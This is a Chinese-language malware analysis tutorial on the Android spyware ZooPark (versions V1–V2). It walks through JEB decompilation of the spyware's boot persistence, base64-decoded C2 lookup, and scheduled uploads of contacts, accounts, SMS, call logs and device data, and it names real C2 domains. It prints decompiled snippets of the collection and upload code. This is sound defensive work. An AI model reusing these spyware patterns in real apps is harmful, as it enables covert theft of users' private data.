ZooPark:Android逆向之靜態分析
背景
ZooPark是一個針對中東的APT組織,截至2017年,已經發展到了4.0版本,本次分析的主要版本是V1-V3,由於第四版本比較複雜,放在後面單獨分析。這次的分析,主要也是一個熟悉靜態分析的過程,不涉及脫殼、動態除錯、反混淆等,可以是一個入門篇章吧。
工具:JEB1.5
V1
分析之前,我們需要理清思路,簡單的樣本可以直接鑽進去,打通它,但是現在的樣本都不簡單,所以開始之前,需要規劃好思路,一步步走,做好記錄,V1-V2版本比較簡單,做一簡單的思路引導:
1、 是否加固過,混淆過未加固、未混淆 2、看安裝包目錄結構,看是否有特別的檔案,記錄下來方便後面的分析沒有特別的檔案 3、 看清單檔案,靜態註冊了哪些廣播接收器沒有靜態註冊廣播
開始分析程式碼
[1] 看清單檔案AndroidManifest.xml中,入口活動,每個入口活動共有的intent-filter屬性
[2] 進入入口活動,MainActivity,直接看onCreate方法(活動開啟,執行的方法),呼叫自定義實現的AsyncHttpPostGetURL類(extends AsyncTask)的execute方法,傳入引數this._getbaseurl,即 http://entekhab10.xp3.biz/ent/index.php
,根據[2],execute傳入的引數,傳入doInBackground方法(用於執行較為費時的操作,此方法將接收輸入引數和返回計算結果)
[3] doInBackground中,http請求 http://entekhab10.xp3.biz/ent/index.php
,並且因為AsyncHttpPostGetURL傳入的引數HashMap為空,空值傳入到變數v2,最後被賦值設定成v5的關聯實體,也就是url後面帶的多餘引數,最後如果從這個地址獲取到資料,賦給v9並返回,根據2.png中的波斯文,也就是檢查網路是否連線的
[4] 延遲1s執行任務,這個任務是,先檢查判斷網路連線狀態,如果網路無連線就返回,這裡的有判斷_baseUrl長度,但是它建構函式執行是賦值為空。連線正常,然後跟上面一樣,後臺發起一個訪問 http://entekhab10.xp3.biz/ent/index.php
的請求,引數繼續為空。跟上面不一樣的是,這個請求在這個計劃任務中,延遲1s執行,隨後每3s發起一次請求Timer * A facility for threads to schedule tasks for future execution in a background thread.也就是用來產生後臺執行緒任務的一個工具類
[5] 繼續開啟計劃任務,但是這裡使用的是空字串_baseUrl,來作為C2地址上傳裝置ID,賬戶資訊,按理說不可能出現這種失誤,所以搜尋一下這個字串,看它是不是在前面進行了賦值
找到了賦值的地方,AsyncHttpPostGetURL->onPostExecute(),這個方法是在後臺方法doInBackground呼叫完成後執行,並且將後臺方法執行的結果作為引數傳入這個方法中,也就是將訪問
http://entekhab10.xp3.biz/ent/index.php
後的相應資料以#####分開後取後面的字串值,然後對其進行base64解碼,得到真實C2地址,因為 http://entekhab10.xp3.biz/ent/index.php
站點已經掛了,根據報告知道C2地址為 www.rhubarb2.com
[8] 最後,點選兩個按鈕都會進行上面的行為,上傳使用者和裝置資訊
V2
1、 是否加固過,混淆過未加固、未混淆 2、看安裝包目錄結構,看是否有特別的檔案,記錄下來方便後面的分析沒有特別的檔案 3、看清單檔案
開始分析程式碼
[1] 清單檔案中可以看到在這裡靜態註冊了開機啟動廣播接收器BootReceiver,大致過程是:先請求可以接收 android.intent.action.BOOT_COMPLETED
這個action的許可權,這樣裝置完成開機動作時會廣播一條 android.intent.action.BOOT_COMPLETED
,廣播有許可權可以接收到,一旦收到,就執行onReceiver方法 [2] 進入廣播接收器,這個onReceiver方法只幹了一件事每就是開啟MainService服務
[3] startService方法開啟服務的過程:如果不存在該服務,先建立在執行,沒有onCreate方法(服務建立時執行),有onStartCommand方法。獲取裝置ID,裝置位置資訊,然後根據不同欄位構造帶有特定資料的資訊到C2地址
info
:各種裝置資訊、網路資訊、SIM卡資訊、位置資訊等(詳情可以根據裡面的API方法在在網上查詢)
cont
:獲取聯絡人資訊
acco
:獲取賬戶資訊(設定->新增賬戶,那裡新增的賬戶資訊)
//獲取所有可以訪問的賬戶物件 v1 = AccountManager.get(((Context)this)).getAccounts(); //迴圈賬戶列表,構造帶有欄位名(Name$、$Account$)加上賬戶型別,名稱 while(v4_1 < v5) { v2 = String.valueOf(v2) + "Name$" + v1[v4_1].type.toString() + "$Account$" + v1[v4_1] .name.toString() + "$"; ++v4_1;
sms
: 裝置中的簡訊資料
cal
:使用者電話呼叫資料,號碼
//查詢這個uri Cursor v12 = this.getContentResolver().query(Uri.parse("content://call_log/calls"), null, null, null, "date DESC"); //構造帶有電話呼叫的資料的字串 v20.append("Phone Number$" + v19 + "$Call Type$" + v14 + "$Call Date$" + v9 + "$Call duration$" + v10 + "$");
pic
:base64編碼zoo.zoo檔案 根據
12.png
中的指示,將規定欄位資料上傳到C2 [4] 延遲5s,上傳pic欄位的資料,也就是base64編碼過的zoo.zoo檔案資料
new Handler().postDelayed(new Runnable() { public void run() { try { String v0 = MainService.this.getUserid(); if(!MainService.this.isConnected()) { return; } MainService.this.postUser(v0, "pic"); } catch(Exception v1) { } } }, v8); //v8=5000
[5]啟動一個計劃任務,延遲1s後執行:上傳這四個欄位的資料,然後每過900s上傳一次
new Timer().schedule(new TimerTask() { static MainService access$0(com.app.postrall.MainService$2 arg1) { return arg1.this$0; } public void run() { this.val$handler2.post(new Runnable() { public void run() { try { if(!this.this$1.this$0.isConnected()) { return; } String v0 = this.this$1.this$0.getUserid(); //上傳這些欄位的資料 this.this$1.this$0.postUser(v0, "info"); this.this$1.this$0.postUser(v0, "cont"); this.this$1.this$0.postUser(v0, "acco"); this.this$1.this$0.postUser(v0, "sms"); this.this$1.this$0.postUser(v0, "cal"); } catch(Exception v1) { } } }); } }, v2, 900000); //v2=1000
[6] 先構造帶有KeyKey為 dafak
,和裝置ID資料的C2 http://www.rhubarb3.com/
地址,根據返回結果獲取一個欄位延遲上傳特定資料 [7] 清單檔案中靜態廣播執行的一系列行為分析完畢,進入入口類MainActivity的onCreate方法分析,主要就一個行為,就是開啟服務MainService
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setContentView(2130903040); this.StartMyService(); if(!this.isConnected()) { this.ShowAlert("Please Connect Internet"); } else { this.ShowAlert("Please Wait To Update"); } }
public void StartMyService() { try { this._checkAllPermision();//檢查是否獲取了所有請求的許可權,如果沒有,發起請求 this.startService(new Intent(((Context)this), MainService.class)); } catch(Exception v1) { } }
可以從證書資訊中的起始日期,大致確定樣本的流出時間
小結:V2版本的樣本主要就是構造帶有裝置資料的url,訪問C2地址,比第一個版本獲取的資料更豐富一些
總結
找準關鍵API,不要過於追求細節,容易鑽牛角尖
分析功能方法時,完整分析他的每個功能,以免漏掉關鍵點
參考來源
[1] ofollow,noindex" target="_blank">https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/24122414/ZooPark_for_public_final_edited.pdf
[2] https://blog.csdn.net/liuhe688/article/details/6532519
*本文作者:xiongchaochao,轉載請註明來自 FreeBuf.COM